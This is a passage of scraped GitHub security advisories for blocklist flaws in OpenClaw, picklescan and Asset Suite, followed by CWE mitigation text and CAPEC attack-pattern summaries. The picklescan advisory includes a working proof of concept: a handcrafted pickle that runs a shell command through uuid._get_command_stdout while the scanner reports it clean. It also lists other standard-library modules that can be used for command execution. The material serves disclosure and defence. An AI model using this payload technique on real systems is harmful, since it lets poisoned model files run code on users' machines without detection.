"details": "## Summary\n\nHeartbeat owner downgrade missed untrusted webhook wake events.\n\n## Affected Packages / Versions\n\n- Package: `openclaw`\n- Ecosystem: npm\n- Affected versions: `\u003e= 2026.4.7 \u003c 2026.4.14`\n- Patched versions: `\u003e= 2026.4.14`\n\n## Impact\n\nHeartbeat owner downgrade logic could skip webhook wake events carrying untrusted content, preserving owner-like execution context where the run should have been downgraded.\n\n## Technical Details\n\nThe fix includes wake and hook event reasons in owner-downgrade inspection and forces downgrade for untrusted hook wake events.\n\n## Fix\n\nThe issue was fixed in #66031. The first stable tag containing the fix is `v2026.4.14`, and `openclaw@2026.4.14` includes the fix.\n\n## Fix Commit(s)\n\n- `31281bc92f55796817a92bc43f722cba1e77ab42`\n- PR: #66031\n\n## Release Process Note\n\nUsers should upgrade to `openclaw` 2026.4.14 or newer. The latest npm release, `2026.4.14`, already includes the fix.\n\n## Credits\n\nThanks to @zsxsoft, with sponsorship from @KeenSecurityLab and @qclawer for reporting this issue.",
"id": "GHSA-g2hm-779g-vm32",
"modified": "2026-05-08T01:32:30Z",
"published": "2026-04-17T21:48:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-g2hm-779g-vm32"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43566"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/pull/66031"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/31281bc92f55796817a92bc43f722cba1e77ab42"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-privilege-escalation-via-untrusted-webhook-wake-events"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenClaw: Heartbeat owner downgrade missed untrusted webhook wake events"
}
GHSA-G38G-8GR9-H9XP
Vulnerability from github – Published: 2026-03-03 20:05 – Updated: 2026-03-03 20:05Summary
picklescan v1.0.3 (latest) does not block at least 7 Python standard library modules that provide direct arbitrary command execution or code evaluation. A malicious pickle file importing these modules is reported as having 0 issues (CLEAN scan). This enables remote code execution that bypasses picklescan entirely.
Severity
Critical (CVSS 9.8) — Direct RCE with zero scanner detection. Affects all deployments relying on picklescan, including HuggingFace Hub.
Affected Versions
- picklescan <= 1.0.3 (all versions including latest)
Details
Unblocked RCE Modules
| Module | Function | RCE Mechanism | picklescan Result |
|---|---|---|---|
uuid |
_get_command_stdout(cmd, *args) |
subprocess.Popen((cmd,) + args) |
CLEAN |
_osx_support |
_read_output(cmdstring) |
os.system() via temp file |
CLEAN |
_osx_support |
_find_build_tool(toolname) |
Command injection via %s |
CLEAN |
_aix_support |
_read_cmd_output(cmdstring) |
os.system() |
CLEAN |
_pyrepl.pager |
pipe_pager(text, cmd) |
subprocess.Popen(cmd, shell=True) |
CLEAN |
_pyrepl.pager |
tempfile_pager(text, cmd) |
os.system(cmd + ...) |
CLEAN |
imaplib |
IMAP4_stream(command) |
subprocess.Popen(command, shell=True) |
CLEAN |
test.support.script_helper |
assert_python_ok(*args) |
Spawns python subprocess |
CLEAN |
All 8 functions are in Python's standard library and importable on all platforms.
Scanner Output
$ picklescan -p uuid_rce.pkl
No issues found.
$ picklescan -p aix_rce.pkl
No issues found.
$ picklescan -p imaplib_rce.pkl
No issues found.
Meanwhile:
$ python3 -c "import pickle; pickle.loads(open('uuid_rce.pkl','rb').read())"
uid=501(user) gid=20(staff) groups=20(staff),501(access),12(everyone)
Blocklist Analysis
picklescan v1.0.3's _unsafe_globals dict (scanner.py line 120-219) contains ~60 entries. None of the following modules appear:
uuid— not blocked_osx_support— not blocked_aix_support— not blocked_pyrepl— not blocked_pyrepl.pager— not blocked (parent wildcard doesn't apply since_pyreplisn't blocked)imaplib— not blockedtest— not blockedtest.support— not blockedtest.support.script_helper— not blocked
Proof of Concept
import struct, io, pickle
def sbu(s):
b = s.encode()
return b"\x8c" + struct.pack("<B", len(b)) + b
# uuid._get_command_stdout — arbitrary command execution
payload = (
b"\x80\x04\x95" + struct.pack("<Q", 55)
+ sbu("uuid") + sbu("_get_command_stdout") + b"\x93"
+ sbu("bash") + sbu("-c") + sbu("id")
+ b"\x87" + b"R" # TUPLE3 + REDUCE
+ b"." # STOP
)
# Scan: 0 issues
from picklescan.scanner import scan_pickle_bytes
result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl")
assert result.issues_count == 0 # CLEAN
# Execute: runs `id` command
pickle.loads(payload)
Tested Against
- picklescan v1.0.3 (commit b999763, Feb 15 2026) — latest release
- picklescan v0.0.21 — same result (modules never blocked in any version)
Impact
Any system using picklescan for pickle safety validation is vulnerable. This includes:
- HuggingFace Hub — uses picklescan server-side to scan uploaded model files
- ML pipelines — any CI/CD or loading pipeline using picklescan
- Model registries — any registry relying on picklescan for safety checks
An attacker can upload a malicious model file to HuggingFace Hub that passes all picklescan checks and executes arbitrary code when loaded by a user.
Suggested Fix
Add to _unsafe_globals in picklescan:
"uuid": "*",
"_osx_support": "*",
"_aix_support": "*",
"_pyrepl": "*",
"imaplib": {"IMAP4_stream"},
"test": "*",
Architectural recommendation: The blocklist approach is fundamentally flawed — new RCE-capable stdlib functions can be discovered faster than they are blocked. Consider: 1. Switching to an allowlist (default-deny) for permitted globals 2. Treating ALL unknown globals as dangerous by default (currently marked "Suspicious" but not counted as issues)
Resources
- picklescan source:
scanner.pylines 120-219 (_unsafe_globals) - Python source:
Lib/uuid.py,Lib/_osx_support.py,Lib/_aix_support.py,Lib/_pyrepl/pager.py,Lib/imaplib.py
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "picklescan"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-184",
"CWE-693"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-03T20:05:26Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "## Summary\n\npicklescan v1.0.3 (latest) does not block at least 7 Python standard library modules that provide direct arbitrary command execution or code evaluation. A malicious pickle file importing these modules is reported as having 0 issues (CLEAN scan). This enables remote code execution that bypasses picklescan entirely.\n\n## Severity\n\n**Critical** (CVSS 9.8) \u2014 Direct RCE with zero scanner detection. Affects all deployments relying on picklescan, including HuggingFace Hub.\n\n## Affected Versions\n\n- picklescan \u003c= 1.0.3 (all versions including latest)\n\n## Details\n\n### Unblocked RCE Modules\n\n| Module | Function | RCE Mechanism | picklescan Result |\n|--------|----------|--------------|-------------------|\n| `uuid` | `_get_command_stdout(cmd, *args)` | `subprocess.Popen((cmd,) + args)` | CLEAN |\n| `_osx_support` | `_read_output(cmdstring)` | `os.system()` via temp file | CLEAN |\n| `_osx_support` | `_find_build_tool(toolname)` | Command injection via `%s` | CLEAN |\n| `_aix_support` | `_read_cmd_output(cmdstring)` | `os.system()` | CLEAN |\n| `_pyrepl.pager` | `pipe_pager(text, cmd)` | `subprocess.Popen(cmd, shell=True)` | CLEAN |\n| `_pyrepl.pager` | `tempfile_pager(text, cmd)` | `os.system(cmd + ...)` | CLEAN |\n| `imaplib` | `IMAP4_stream(command)` | `subprocess.Popen(command, shell=True)` | CLEAN |\n| `test.support.script_helper` | `assert_python_ok(*args)` | Spawns `python` subprocess | CLEAN |\n\nAll 8 functions are in Python\u0027s standard library and importable on all platforms.\n\n### Scanner Output\n\n```\n$ picklescan -p uuid_rce.pkl\nNo issues found.\n\n$ picklescan -p aix_rce.pkl\nNo issues found.\n\n$ picklescan -p imaplib_rce.pkl\nNo issues found.\n```\n\nMeanwhile:\n```\n$ python3 -c \"import pickle; pickle.loads(open(\u0027uuid_rce.pkl\u0027,\u0027rb\u0027).read())\"\nuid=501(user) gid=20(staff) groups=20(staff),501(access),12(everyone)\n```\n\n### Blocklist Analysis\n\npicklescan v1.0.3\u0027s `_unsafe_globals` dict (scanner.py line 120-219) contains ~60 entries. None of the following modules appear:\n\n- `uuid` \u2014 not blocked\n- `_osx_support` \u2014 not blocked\n- `_aix_support` \u2014 not blocked\n- `_pyrepl` \u2014 not blocked\n- `_pyrepl.pager` \u2014 not blocked (parent wildcard doesn\u0027t apply since `_pyrepl` isn\u0027t blocked)\n- `imaplib` \u2014 not blocked\n- `test` \u2014 not blocked\n- `test.support` \u2014 not blocked\n- `test.support.script_helper` \u2014 not blocked\n\n### Proof of Concept\n\n```python\nimport struct, io, pickle\n\ndef sbu(s):\n b = s.encode()\n return b\"\\x8c\" + struct.pack(\"\u003cB\", len(b)) + b\n\n# uuid._get_command_stdout \u2014 arbitrary command execution\npayload = (\n b\"\\x80\\x04\\x95\" + struct.pack(\"\u003cQ\", 55)\n + sbu(\"uuid\") + sbu(\"_get_command_stdout\") + b\"\\x93\"\n + sbu(\"bash\") + sbu(\"-c\") + sbu(\"id\")\n + b\"\\x87\" + b\"R\" # TUPLE3 + REDUCE\n + b\".\" # STOP\n)\n\n# Scan: 0 issues\nfrom picklescan.scanner import scan_pickle_bytes\nresult = scan_pickle_bytes(io.BytesIO(payload), \"test.pkl\")\nassert result.issues_count == 0 # CLEAN\n\n# Execute: runs `id` command\npickle.loads(payload)\n```\n\n### Tested Against\n\n- picklescan v1.0.3 (commit b999763, Feb 15 2026) \u2014 latest release\n- picklescan v0.0.21 \u2014 same result (modules never blocked in any version)\n\n## Impact\n\nAny system using picklescan for pickle safety validation is vulnerable. This includes:\n\n- **HuggingFace Hub** \u2014 uses picklescan server-side to scan uploaded model files\n- **ML pipelines** \u2014 any CI/CD or loading pipeline using picklescan\n- **Model registries** \u2014 any registry relying on picklescan for safety checks\n\nAn attacker can upload a malicious model file to HuggingFace Hub that passes all picklescan checks and executes arbitrary code when loaded by a user.\n\n## Suggested Fix\n\nAdd to `_unsafe_globals` in picklescan:\n```python\n\"uuid\": \"*\",\n\"_osx_support\": \"*\",\n\"_aix_support\": \"*\",\n\"_pyrepl\": \"*\",\n\"imaplib\": {\"IMAP4_stream\"},\n\"test\": \"*\",\n```\n\n**Architectural recommendation:** The blocklist approach is fundamentally flawed \u2014 new RCE-capable stdlib functions can be discovered faster than they are blocked. Consider:\n1. Switching to an allowlist (default-deny) for permitted globals\n2. Treating ALL unknown globals as dangerous by default (currently marked \"Suspicious\" but not counted as issues)\n\n## Resources\n\n- picklescan source: `scanner.py` lines 120-219 (`_unsafe_globals`)\n- Python source: `Lib/uuid.py`, `Lib/_osx_support.py`, `Lib/_aix_support.py`, `Lib/_pyrepl/pager.py`, `Lib/imaplib.py`",
"id": "GHSA-g38g-8gr9-h9xp",
"modified": "2026-03-03T20:05:26Z",
"published": "2026-03-03T20:05:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-g38g-8gr9-h9xp"
},
{
"type": "PACKAGE",
"url": "https://github.com/mmaitre314/picklescan"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "PickleScan has multiple stdlib modules with direct RCE not in blocklist"
}
GHSA-G69W-9CH7-4VM2
Vulnerability from github – Published: 2025-05-30 15:30 – Updated: 2025-05-30 15:30A vulnerability exists in the media upload component of the Asset Suite versions listed below. If successfully exploited an attacker could impact the confidentiality or integrity of the system. An attacker can use this vulnerability to construct a request that will cause JavaScript code supplied by the attacker to execute within the user’s browser in the context of that user’s session with the application.
{
"affected": [],
"aliases": [
"CVE-2025-1484"
],
"database_specific": {
"cwe_ids": [
"CWE-184"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-30T13:15:20Z",
"severity": "MODERATE"
},
"details": "A vulnerability exists in the media upload component of the Asset \nSuite versions listed below. If successfully exploited an attacker \ncould impact the confidentiality or integrity of the system. An attacker can use this vulnerability to construct a request that will \ncause JavaScript code supplied by the attacker to execute within \nthe user\u2019s browser in the context of that user\u2019s session with the \napplication.",
"id": "GHSA-g69w-9ch7-4vm2",
"modified": "2025-05-30T15:30:30Z",
"published": "2025-05-30T15:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1484"
},
{
"type": "WEB",
"url": "https://publisher.hitachienergy.com/preview?DocumentID=8DBD000212\u0026LanguageCode=en\u0026DocumentPartId=\u0026Action=Launch"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-G796-JQMX-WF9Q
Vulnerability from github – Published: 2026-06-16 21:32 – Updated: 2026-06-18 14:52Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-c226-q6fx-6j6c. This link is maintained to preserve external references.
Original Description
OpenClaw before 2026.5.6 contains an allowlist bypass vulnerability in the macOS Swift exec feature that misses combined POSIX inline-command flags. Attackers can execute shell content outside the intended allowlist check by using combined flag forms, potentially allowing unauthorized command execution depending on operator configuration.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2026.5.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-184"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-18T14:52:17Z",
"nvd_published_at": "2026-06-16T19:17:04Z",
"severity": "MODERATE"
},
"details": "## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of\u00a0GHSA-c226-q6fx-6j6c. This link is maintained to preserve external references.\n\n## Original Description\nOpenClaw before 2026.5.6 contains an allowlist bypass vulnerability in the macOS Swift exec feature that misses combined POSIX inline-command flags. Attackers can execute shell content outside the intended allowlist check by using combined flag forms, potentially allowing unauthorized command execution depending on operator configuration.",
"id": "GHSA-g796-jqmx-wf9q",
"modified": "2026-06-18T14:52:17Z",
"published": "2026-06-16T21:32:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-c226-q6fx-6j6c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53861"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-allowlist-bypass-via-combined-posix-inline-flags-on-macos"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
],
"summary": "Duplicate Advisory: macOS Swift exec allowlist missed combined POSIX inline flags",
"withdrawn": "2026-06-18T14:52:17Z"
}
Mitigation
Strategy: Input Validation
Do not rely exclusively on detecting disallowed inputs. There are too many variants to encode a character, especially when different environments are used, so there is a high likelihood of missing some variants. Only use detection of disallowed inputs as a mechanism for detecting suspicious activity. Ensure that you are using other protection mechanisms that only identify "good" input - such as lists of allowed inputs - and ensure that you are properly encoding your outputs.
CAPEC-120: Double Encoding
The adversary utilizes a repeating of the encoding process for a set of characters (that is, character encoding a character encoding of a character) to obfuscate the payload of a particular request. This may allow the adversary to bypass filters that attempt to detect illegal characters or strings, such as those that might be used in traversal or injection attacks. Filters may be able to catch illegal encoded strings, but may not catch doubly encoded strings. For example, a dot (.), often used in path traversal attacks and therefore often blocked by filters, could be URL encoded as %2E. However, many filters recognize this encoding and would still block the request. In a double encoding, the % in the above URL encoding would be encoded again as %25, resulting in %252E which some filters might not catch, but which could still be interpreted as a dot (.) by interpreters on the target.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-182: Flash Injection
An attacker tricks a victim to execute malicious flash content that executes commands or makes flash calls specified by the attacker. One example of this attack is cross-site flashing, an attacker controlled parameter to a reference call loads from content specified by the attacker.
CAPEC-3: Using Leading 'Ghost' Character Sequences to Bypass Input Filters
Some APIs will strip certain leading characters from a string of parameters. An adversary can intentionally introduce leading "ghost" characters (extra characters that don't affect the validity of the request at the API layer) that enable the input to pass the filters and therefore process the adversary's input. This occurs when the targeted API will accept input data in several syntactic forms and interpret it in the equivalent semantic way, while the filter does not take into account the full spectrum of the syntactic forms acceptable to the targeted API.
CAPEC-43: Exploiting Multiple Input Interpretation Layers
An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
CAPEC-6: Argument Injection
An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.
CAPEC-71: Using Unicode Encoding to Bypass Validation Logic
An attacker may provide a Unicode string to a system component that is not Unicode aware and use that to circumvent the filter or cause the classifying mechanism to fail to properly understanding the request. That may allow the attacker to slip malicious data past the content filter and/or possibly cause the application to route the request incorrectly.
CAPEC-73: User-Controlled Filename
An attack of this type involves an adversary inserting malicious characters (such as a XSS redirection) into a filename, directly or indirectly that is then used by the target software to generate HTML text or other potentially executable content. Many websites rely on user-generated content and dynamically build resources like files, filenames, and URL links directly from user supplied data. In this attack pattern, the attacker uploads code that can execute in the client browser and/or redirect the client browser to a site that the attacker owns. All XSS attack payload variants can be used to pass and exploit these vulnerabilities.
CAPEC-85: AJAX Footprinting
This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.